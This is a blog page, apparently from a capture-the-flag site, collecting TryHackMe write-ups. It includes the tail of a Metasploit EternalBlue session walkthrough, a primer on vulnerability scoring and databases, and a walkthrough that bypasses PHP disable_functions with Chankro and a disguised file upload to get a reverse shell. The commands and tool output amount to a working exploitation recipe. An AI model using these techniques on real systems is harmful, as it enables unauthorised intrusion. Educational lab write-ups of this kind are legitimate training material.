    [+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [*] Session 2 created in the background.
    msf5 exploit(windows/smb/ms17_010_eternalblue) >

           


     

    This will return you the context prompt from which you have run the exploit.

    Some modules support the check option. This will check if the target system is vulnerable without exploiting it.


    Sessions


    Once a vulnerability has been successfully exploited, a session will be created. This is the communication channel established between the target system and Metasploit.


    You can use the background command to background the session prompt and go back to the msfconsole prompt.




    Backgrounding sessions


              
    meterpreter > background
    [*] Backgrounding session 2...
    msf5 exploit(windows/smb/ms17_010_eternalblue) >

           



    Alternatively, CTRL+Z can be used to background sessions.

    The sessions command can be used from the msfconsole prompt or any context to see the existing sessions.




    Listing active sessions


              
    msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

    Active sessions
    ===============

      Id  Name  Type                     Information                   Connection
      --  ----  ----                     -----------                   ----------
      1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
      2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

    msf5 exploit(windows/smb/ms17_010_eternalblue) > back
    msf5 > sessions

    Active sessions
    ===============

      Id  Name  Type                     Information                   Connection
      --  ----  ----                     -----------                   ----------
      1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
      2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

    msf5 >

           



    To interact with any session, you can use the sessions -i command followed by the desired session number.
    Interacting with sessions


              
    msf5 > sessions

    Active sessions
    ===============

      Id  Name  Type                     Information                   Connection
      --  ----  ----                     -----------                   ----------
      1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
      2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

    msf5 > sessions -i 2
    [*] Starting interaction with 2...

    meterpreter >




    Summary


    As we have seen so far, Metasploit is a powerful tool that facilitates the exploitation process. The exploitation process comprises three main steps; finding the exploit, customizing the exploit, and exploiting the vulnerable service.


           


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



      - Hacking Truth by Kumar Atul Jaiswal



  • TryHackMe Vulnerability 101

     

    TryHackMe Vulnerability 101

     

     

     

    Cybersecurity is big business in the modern-day world. The hacks that we hear about in newspapers are from exploiting vulnerabilities. In this room, we're going to explain exactly what a vulnerability is, the types of vulnerabilities and how we can exploit these for success in our penetration testing endeavours.


    An enormous part of penetration testing is knowing the skills and resources for whatever situation you face. This room is going to introduce you to some resources that are essential when researching vulnerabilities, specifically, you are going to be introduced to:


    • What vulnerabilities are
    • Why they're worthy of learning about
    • How are vulnerabilities rated
    • Databases for vulnerability research
    • A showcase of how vulnerability research is used on ACKme's engagement





    Introduction to Vulnerabilities


    A vulnerability in cybersecurity is defined as a weakness or flaw in the design, implementation or behaviours of a system or application. An attacker can exploit these weaknesses to gain access to unauthorised information or perform unauthorised actions. The term “vulnerability” has many definitions by cybersecurity bodies. However, there is minimal variation between them all.

    For example, NIST defines a vulnerability as “weakness in an information system, system security procedures, internal controls, or implementation that could be exploited or triggered by a threat source”.

    Vulnerabilities can originate from many factors, including a poor design of an application or an oversight of the intended actions from a user.

    We will come on to discuss the various types of vulnerabilities in a later room. However, for now, we should know that there are arguably five main categories of vulnerabilities:

     

    Vulnerability Description
    Operating System These types of vulnerabilities are found within Operating Systems (OSs) and often result in privilege escalation.
    (Mis)Configuration-based These types of vulnerability stem from an incorrectly configured application or service. For example, a website exposing customer details.
    Weak or Default Credentials Applications and services that have an element of authentication will come with default credentials when installed. For example, an administrator dashboard may have the username and password of "admin". These are easy to guess by an attacker.
    Application Logic These vulnerabilities are a result of poorly designed applications. For example, poorly implemented authentication mechanisms that may result in an attacker being able to impersonate a user.
    Human-Factor Human-Factor vulnerabilities are vulnerabilities that leverage human behaviour. For example, phishing emails are designed to trick humans into believing they are legitimate.

     







    1) An attacker has been able to upgrade the permissions of their system account from "user" to "administrator". What type of vulnerability is this?

    Ans- Operating System



    2) You manage to bypass a login panel using cookies to authenticate. What type of vulnerability is this?

    Ans- Application logic






    Scoring Vulnerabilities (CVSS & VPR)



    Vulnerability management is the process of evaluating, categorising and ultimately remediating threats (vulnerabilities) faced by an organisation.

    It is arguably impossible to patch and remedy every single vulnerability in a network or computer system and sometimes a waste of resources.

    After all, only approximately 2% of vulnerabilities only ever end up being exploited (Kenna security., 2020). Instead, it is all about addressing the most dangerous vulnerabilities and reducing the likelihood of an attack vector being used to exploit a system.

    This is where vulnerability scoring comes into play. Vulnerability scoring serves a vital role in vulnerability management and is used to determine the potential risk and impact a vulnerability may have on a network or computer system. For example, the popular Common Vulnerability Scoring System (CVSS) awards points to a vulnerability based upon its features, availability, and reproducibility.


    Of course, as always in the world of IT, there is never just one framework or proposed idea. Let’s explore two of the more common frameworks and analyse how they differ.



    Common Vulnerability Scoring System


    First introduced in 2005, the Common Vulnerability Scoring System (or CVSS) is a very popular framework for vulnerability scoring and has three major iterations. As it stands, the current version is CVSSv3.1 (with version 4.0 currently in draft) a score is essentially determined by some of the following factors (but many more):



    1. How easy is it to exploit the vulnerability?
    2. Do exploits exist for this?
    3. How does this vulnerability interfere with the CIA triad?
     
     

    In fact, there are so many variables that you have to use a calculator to figure out the score using this framework. A vulnerability is given a classification (out of five) depending on the score that is has been assigned. I have put the Qualitative Severity Rating Scale and their score ranges into the table below.






     

    Rating Score
    None 0
    Low 0.1-3.9
    Medium 4.0-6.9
    High 7.0-8.9
    Critical 9.0-10.0

     


    However, CVSS is not a magic bullet. Let's analyse some of the advantages and disadvantages of CVSS in the table below:




     

    Advantages of CVSS Disadvantages of CVSS
    CVSS has been around for a long time. CVSS was never designed to help prioritise vulnerabilities, instead, just assign a value of severity.
    CVSS is popular in organisations. CVSS heavily assesses vulnerabilities on an exploit being available. However, only 20% of all vulnerabilities have an exploit available (Tenable., 2020) .
    CVSS is a free framework to adopt and recommended by organisations such as NIST. Vulnerabilities rarely change scoring after assessment despite the fact that new developments such as exploits may be found.

     





    Vulnerability Priority Rating (VPR)


    The VPR framework is a much more modern framework in vulnerability management - developed by Tenable, an industry solutions provider for vulnerability management. This framework is considered to be risk-driven; meaning that vulnerabilities are given a score with a heavy focus on the risk a vulnerability poses to the organisation itself, rather than factors such as impact (like with CVSS).

    Unlike CVSS, VPR scoring takes into account the relevancy of a vulnerability. For example, no risk is considered regarding a vulnerability if that vulnerability does not apply to the organisation (i.e. they do not use the software that is vulnerable). VPR is also considerably dynamic in its scoring, where the risk that a vulnerability may pose can change almost daily as it ages.

    VPR uses a similar scoring range as CVSS, which I have also put into the table below. However, two notable differences are that VPR does not have a "None/Informational" category, and because VPR uses a different scoring method, the same vulnerability will have a different score using VPR than when using CVSS






     

    Rating Score
    None 0
    Low 0.1-3.9
    Medium 4.0-6.9
    High 7.0-8.9
    Critical 9.0-10.0

     






    Let's recap some of the advantages and disadvantages of using the VPR framework in the table below.





     

    Advantages of VPR Disadvantages of VPR
    VPR is a modern framework that is real-world. VPR is not open-source like some other vulnerability management frameworks.
    VPR considers over 150 factors when calculating risk. VPR can only be adopted apart of a commercial platform.
    VPR is risk-driven and used by organisations to help prioritise patching vulnerabilities. VPR does not consider the CIA triad to the extent that CVSS does; meaning that risk to the confidentiality, integrity and availability of data does not play a large factor in scoring vulnerabilities when using VPR.
    Scorings are not final and are very dynamic, meaning the priority a vulnerability should be given can change as the vulnerability ages. Intentionally left blank.

     



    1) What year was the first iteration of CVSS published?

    Ans- 2005




    2) If you wanted to assess vulnerability based on the risk it poses to an organisation, what framework would you use?

    Note: We are looking for the acronym here.

    Ans- VPR





    3) If you wanted to use a framework that was free and open-source, what framework would that be?

    Note: We are looking for the acronym here.

    Ans- CVSS






    Vulnerability Databases


    Throughout your journey in cybersecurity, you will often come across a magnitude of different applications and services. For example, a CMS whilst they all have the same purpose, often have very different designs and behaviours (and, in turn, potentially different vulnerabilities).

    Thankfully for us, there are resources on the internet that keep track of vulnerabilities for all sorts of software, operating systems and more! This room will showcase two databases that we can use to look up existing vulnerabilities for applications discovered in our infosec journey, specifically the following websites:

    1. NVD (National Vulnerability Database)

    2. Exploit-DB




    Before we dive into these two resources, let's ensure that our understanding of some fundamental key terms is on the same page:



     

    Term Definition
    Vulnerability A vulnerability is defined as a weakness or flaw in the design, implementation or behaviours of a system or application.
    Exploit An exploit is something such as an action or behaviour that utilises a vulnerability on a system or application.
    Proof of Concept (PoC) A PoC is a technique or tool that often demonstrates the exploitation of a vulnerability.

     



    NVD – National Vulnerability Database The National Vulnerability Database is a website that lists all publically categorised vulnerabilities. In cybersecurity, vulnerabilities are classified under “Common Vulnerabilities and Exposures” (Or CVE for short). These CVEs have the formatting of CVE-YEAR-IDNUMBER. For example, the vulnerability that the famous malware WannaCry used was CVE-2017-0144. NVD allows you to see all the CVEs that have been confirmed, using filters by category and month of submission. For example, it is three days into August; there have already been 223 new CVEs submitted to this database.



    TryHackMe Vulnerability 101





    While this website helps keep track of new vulnerabilities, it is not great when searching for vulnerabilities for a specific application or scenario.

     


    Exploit-DB


    Exploit-DB is a resource that we, as hackers, will find much more helpful during an assessment. Exploit-DB retains exploits for software and applications stored under the name, author and version of the software or application.

    We can use Exploit-DB to look for snippets of code (known as Proof of Concepts) that are used to exploit a specific vulnerability.



    TryHackMe Vulnerability 101



    1) Using NVD, how many CVEs were submitted in July 2021?

    Ans -



    2) Who is the author of Exploit-DB?

    Ans -






    An Example of Finding a Vulnerability


    In this task, I’m going to demonstrate the process of finding one minor vulnerability, coupled with some research of the vulnerability databases leading to a much more valuable vulnerability and exploit ultimately.

    Throughout an assessment, you will often combine multiple vulnerabilities to get results. For example, in this task, we will leverage the “Version Disclosure” vulnerability to find out the version of an application. With this version, we can then use Exploit-DB to search for any exploits that work with that specific version.

    Applications and software usually have a version number. This information is usually left with good intentions; for example, the author can support multiple versions of the software and the likes. Or sometimes, left unintentionally.

    For example, in the screenshot below, we can see that the name and version number of this application is “Apache Tomcat 9.0.17




    TryHackMe Vulnerability 101




    With this information in hand, let’s use the search filter on Exploit-DB to look for any exploits that may apply to “Apache Tomcat 9.0.17”.TryHackMe Vulnerability 101



    TryHackMe Vulnerability 101






    Great! After searching Exploit-DB, there are a total of five exploits that may be useful to us for this specific version of the application.



    1) What type of vulnerability did we use to find the name and version of the application in this example?

    Ans-




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



      - Hacking Truth by Kumar Atul Jaiswal



     

  • TryHackMe Bypass Disable Functions walkthrough

     

    TryHackMe Bypass Disable Functions walkthrough

     

     

    Bypass Disable Functions


    Practice bypassing disabled dangerous features that run operating system commands or start processes.

    This vulnerability occurs in web applications where there is the possibility of uploading a file without being checked by a security system that curbs potential dangers.

    It allows an attacker to upload files with code (scripts such as .php, .aspx and more) and run them on the same server, more information in this room.


    Among the typically applied measures is disabling dangerous functions that could execute operating system commands or start processes. Functions such as system() or shell_exec() are often disabled through PHP directives defined in the php.ini configuration file. Other functions, perhaps less known as dl() (which allows you to load a PHP extension dynamically), can go unnoticed by the system administrator and not be disabled. The usual thing in an intrusion test is to list which functions are enabled in case any have been forgotten.

    One of the easiest techniques to implement and not very widespread is to abuse the mail() and putenv() functionalities. This technique is not new, it was already reported to PHP in 2008 by gat3way, but it still works to this day. Through the putenv() function, we can modify the environment variables, allowing us to assign the value we want to the variable LD_PRELOAD. Roughly LD_PRELOAD will allow us to pre-load a .so library before the rest of the libraries, so that if a program uses a function of a library (libc.so for example), it will execute the one in our library instead of the one it should. In this way, we can hijack or "hook" functions, modifying their behaviour at will.



    Chankro: tool to evade disable_functions and open_basedir


    Through Chankro, we generate a PHP script that will act as a dropper, creating on the server a .so library and the binary (a meterpreter, for example) or bash script (reverse shell, for example) that we want to execute freely, and that will later call putenv() and mail() to launch the process.




    Install tool:


    git clone https://github.com/TarlogicSecurity/Chankro.git
    cd Chankro
    python2 chankro.py --help



    python chankro.py --arch 64 --input c.sh --output tryhackme.php --path /var/www/html

    --arch = Architecture of system victim 32 o 64.
    --input = file with your payload to execute
    --output = Name of the PHP file you are going to create; this is the file you will need to upload.
    --path = It is necessary to specify the absolute path where our uploaded PHP file is located. For example, if our file is located in the uploads folder DOCUMENTROOT + uploads.




     

    TryHackMe Bypass Disable Functions walkthrough

     

    Now, when executing the PHP script in the web server, the necessary files will be created to execute our payload.

     


    TryHackMe Bypass Disable Functions walkthrough


     

    My command run successfully, and I created a file in the directory with the output of the command.

     

    First of all we will start machine of tryhackme room bypass disable function and after search room's IP what do we see there!! there is upload page where we can upload a any image and execution file via Burp Suite because we have to upload by bypassing the PHP file. 

     

     


    TryHackMe Bypass Disable Functions walkthrough


     

    and after uploading malicious file we have to check in which directory the file is uploaded? so for this we will use gobuster for find a directory.

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-bypassdisablefunction/Chankro]
    └─$ gobuster dir -u http://10.10.61.162/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -x php
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.61.162/
    [+] Method:                  GET
    [+] Threads:                 100
    [+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Extensions:              php
    [+] Timeout:                 10s
    ===============================================================
    2021/09/16 12:23:04 Starting gobuster in directory enumeration mode
    ===============================================================
    /uploads              (Status: 301) [Size: 314] [--> http://10.10.61.162/uploads/]
    /assets               (Status: 301) [Size: 313] [--> http://10.10.61.162/assets/] 
    /cv.php               (Status: 200) [Size: 4153]                                  
    Progress: 98580 / 441122 (22.35%) 
    
    
    

     

     

    if you want to check which port is open in this site then you can do this with NMAP or RUSTSCAN.



     

     

      ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-bypassdisablefunction/Chankro]
    └─$ rustscan -a 10.10.61.162 --ulimit 5000 -- -A -oN rustscan.txt                                                                 1 ⨯
    [~] Automatically increasing ulimit value to 5000.
    Open 10.10.61.162:22
    Open 10.10.61.162:80
    [~] Starting Nmap
    [>] The Nmap command to be run is nmap -A -oN rustscan.txt -vvv -p 22,80 10.10.61.162
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 12:17 IST
    NSE: Loaded 153 scripts for scanning.
    NSE: Script Pre-scanning.
    NSE: Starting runlevel 1 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    NSE: Starting runlevel 2 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    NSE: Starting runlevel 3 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    Initiating Ping Scan at 12:17
    Scanning 10.10.61.162 [2 ports]
    Completed Ping Scan at 12:17, 0.24s elapsed (1 total hosts)
    Initiating Parallel DNS resolution of 1 host. at 12:17
    Completed Parallel DNS resolution of 1 host. at 12:17, 0.07s elapsed
    DNS resolution of 1 IPs took 0.07s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
    Initiating Connect Scan at 12:17
    Scanning 10.10.61.162 [2 ports]
    Discovered open port 22/tcp on 10.10.61.162
    Discovered open port 80/tcp on 10.10.61.162
    Completed Connect Scan at 12:17, 0.23s elapsed (2 total ports)
    Initiating Service scan at 12:17
    Scanning 2 services on 10.10.61.162
    Completed Service scan at 12:17, 6.50s elapsed (2 services on 1 host)
    NSE: Script scanning 10.10.61.162.
    NSE: Starting runlevel 1 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 9.83s elapsed
    NSE: Starting runlevel 2 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 1.21s elapsed
    NSE: Starting runlevel 3 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    Nmap scan report for 10.10.61.162
    Host is up, received syn-ack (0.24s latency).
    Scanned at 2021-09-16 12:17:30 IST for 18s
    
    PORT   STATE SERVICE REASON  VERSION
    22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
    | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCimETxFw3xwql560SXGeR88EX/FNiDVNYE4k7xBkwrl7+5YctrnqdNtGrZO2Ki3Zav9TlGBjtRcQ2GOadDlKpLXasXzkiv3nl58+d/VNlhFvaQP1zK5w0f+31KrZnH9EfL9oEv1UZ6UCmJM1O4uvcxYoUOfj0HQJ/27bMGwPETSnWyxVkaBpY34vukFqrlL9HoPTQATrcmxwFSnDh0yn7tSHdNMa8vIlD4lek0q9NG10tBThCTDyXgLnE3++fkutFMSQZ/6EA1tnRFcFK+YgMCRqxTrfr0nQr5JZykseVNO+gpcUY1NDVUlCdMV0xK+WTlukJoRIyfm68P/BZmkyBT
    |   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBEb8bpOpxmuRcQAiMJGyKijMw+otZD9IxXMkjgL6k2HJCA1bvpPqk7rxHbDexKDvY3MgNPAx50Mp6tttsOaVXQ=
    |   256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXfZcsCOQCeq6/HAIKcCimntv0KNHPvqXbsDiXH6WaD
    80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Ecorp - Jobs
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    NSE: Script Post-scanning.
    NSE: Starting runlevel 1 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    NSE: Starting runlevel 2 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    NSE: Starting runlevel 3 (of 3) scan.
    Initiating NSE at 12:17
    Completed NSE at 12:17, 0.00s elapsed
    Read data files from: /usr/bin/../share/nmap
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.37 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-bypassdisablefunction/Chankro]
    └─$ 
      

     

     

    We got a file uploaded directory /uploads

     

     

     

    TryHackMe Bypass Disable Functions walkthrough

     

     

     

    when listing the web with the tool wappalyzer you can see that the web has as a programming language PHP

     

     

    TryHackMe Bypass Disable Functions walkthrough

     

     

    With this in we can see that the file mind phpinfo.php is available, this file gives us information about the server configuration and the settings to interpret a php for example. 

     

     

    TryHackMe Bypass Disable Functions walkthrough

     

     

    Looking at the information that gives us, phpinfo we can see a section called disable_funtions and in it many critical variables are set, such as:



        exec
        passthru
        shell_exec
        system
        proc_open
        popen
        curl_exec
        curl_multi_exec

     

    As we can see that we are very limited when it comes to uploading a file php which contains malicious code for our benefit but investigating and thanks to the information provided by this machine we can make use of the tool Chankro .

    This tool allows us to execute commands through the mail () and putenv () functions by changing an environment variable with which it executes the binary sendmail . An explanation of what it does is at a low level explained in this article .

    To test if the tool works we are going to execute a whoami and deposit it in the absolute path of the web, which is hosted in /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/ this is known since in phpinfo you can see the path in where the web is hosted.


    I will use the tool Chankro with the following paramters but before we create a c.sh file 

    sudo nano c.sh

     

     


    TryHackMe Bypass Disable Functions walkthrough



    python chankro.py --arch 64 --input c.sh --output tryhackme.php --path /var/www/html

    --arch = Architecture of system victim 32 o 64.
    --input = file with your payload to execute
    --output = Name of the PHP file you are going to create; this is the file you will need to upload.
    --path = It is necessary to specify the absolute path where our uploaded PHP file is located. For example, if our file is located in the uploads folder DOCUMENTROOT + uploads. 

     

     

     

    TryHackMe Bypass Disable Functions walkthrough

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[/opt/Chankro]
    └─$ sudo python chankro.py --arch 64 --input c.sh --output hackingtruth-exploit.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads
    
    
         -=[ Chankro ]=-
        -={ @TheXC3LL }=-
    
    
    [+] Binary file: c.sh
    [+] Architecture: x64
    [+] Final PHP: hackingtruth-exploit.php
    
    
    [+] File created!
    ┌──(hackerboy㉿KumarAtulJaiswal)-[/opt/Chankro]
    └─$     
    

     

    once the malicious file is created, it creates the file for us, i will php go to the web and upload it.

     

     

     

    TryHackMe Bypass Disable Functions walkthrough


     

    and file uploading time we intercept the request and changed the content-type (image/jpeg) and write a GIF87a

     

    What is GIF87a?

    GIF87a is the original format for indexed color images. It uses LZW compression and has the option of being interlaced. GIF89a is the same, but also includes transparency and animationcapabilities.

     

     

    check a file uploaded or not in /uploads directory



     

    TryHackMe Bypass Disable Functions walkthrough

     

     

     

    Gaining Access 


    Now that we can see that commands can be executed at the system level, I will modify the file command.sh and add code that when it is executed I will start a revershell to my machine on port 443:


    With this in mind and already modified the file command.sh I recreate the file winsad.php with Chankro and once created I add the header 'GIF89a;' and upload the file.

    Since I went back up the php and going to the path where is hosted winsad.php I can see that the code interprets me and gives me the shell : 

     

    Start a netcat listener and click on that uploaded file-

    nc -nvlp 4444

     


    TryHackMe Bypass Disable Functions walkthrough



    Once inside the machine we can go to the user's directory s4vi and view the flag.



    www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ cd /home
    <ml/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ cd /home                       
    www-data@ubuntu:/home$ ls -la
    ls -la
    total 12
    drwxr-xr-x  3 root root 4096 Jun 22 08:12 .
    drwxr-xr-x 22 root root 4096 Jun 23 18:59 ..
    drwxr-xr-x  4 s4vi s4vi 4096 Jun 23 23:34 s4vi
    www-data@ubuntu:/home$ cd s4vi
    cd s4vi
    www-data@ubuntu:/home/s4vi$ 
    ls -la
    
    
    
    www-data@ubuntu:/home/s4vi$ ls -la
    total 44
    drwxr-xr-x 4 s4vi s4vi 4096 Jun 23 23:34 .
    drwxr-xr-x 3 root root 4096 Jun 22 08:12 ..
    -rw------- 1 root root 6127 Jun 23 23:49 .bash_history
    -rw-r--r-- 1 s4vi s4vi  220 Jun 22 08:12 .bash_logout
    -rw-r--r-- 1 s4vi s4vi 3771 Jun 22 08:12 .bashrc
    drwx------ 2 s4vi s4vi 4096 Jun 22 09:46 .cache
    drwxrwxr-x 2 s4vi s4vi 4096 Jun 23 23:33 .nano
    -rw-r--r-- 1 s4vi s4vi  655 Jun 22 08:12 .profile
    -rw-r--r-- 1 s4vi s4vi    0 Jun 23 17:59 .sudo_as_admin_successful
    -rw-r--r-- 1 root root  183 Jun 23 23:29 .wget-hsts
    -rw-rw-r-- 1 s4vi s4vi   37 Jun 23 23:34 flag.txt
    www-data@ubuntu:/home/s4vi$ 
    
    
    
    www-data@ubuntu:/home/s4vi$ cat flag.txt
    cat cat flag.txt
    cat: cat: No such file or directory
    thm{bypass_d1sable_functions_1n_php}
    www-data@ubuntu:/home/s4vi$ 
    
    
    
    

     

    We got it!!! 



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



      - Hacking Truth by Kumar Atul Jaiswal



     

  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.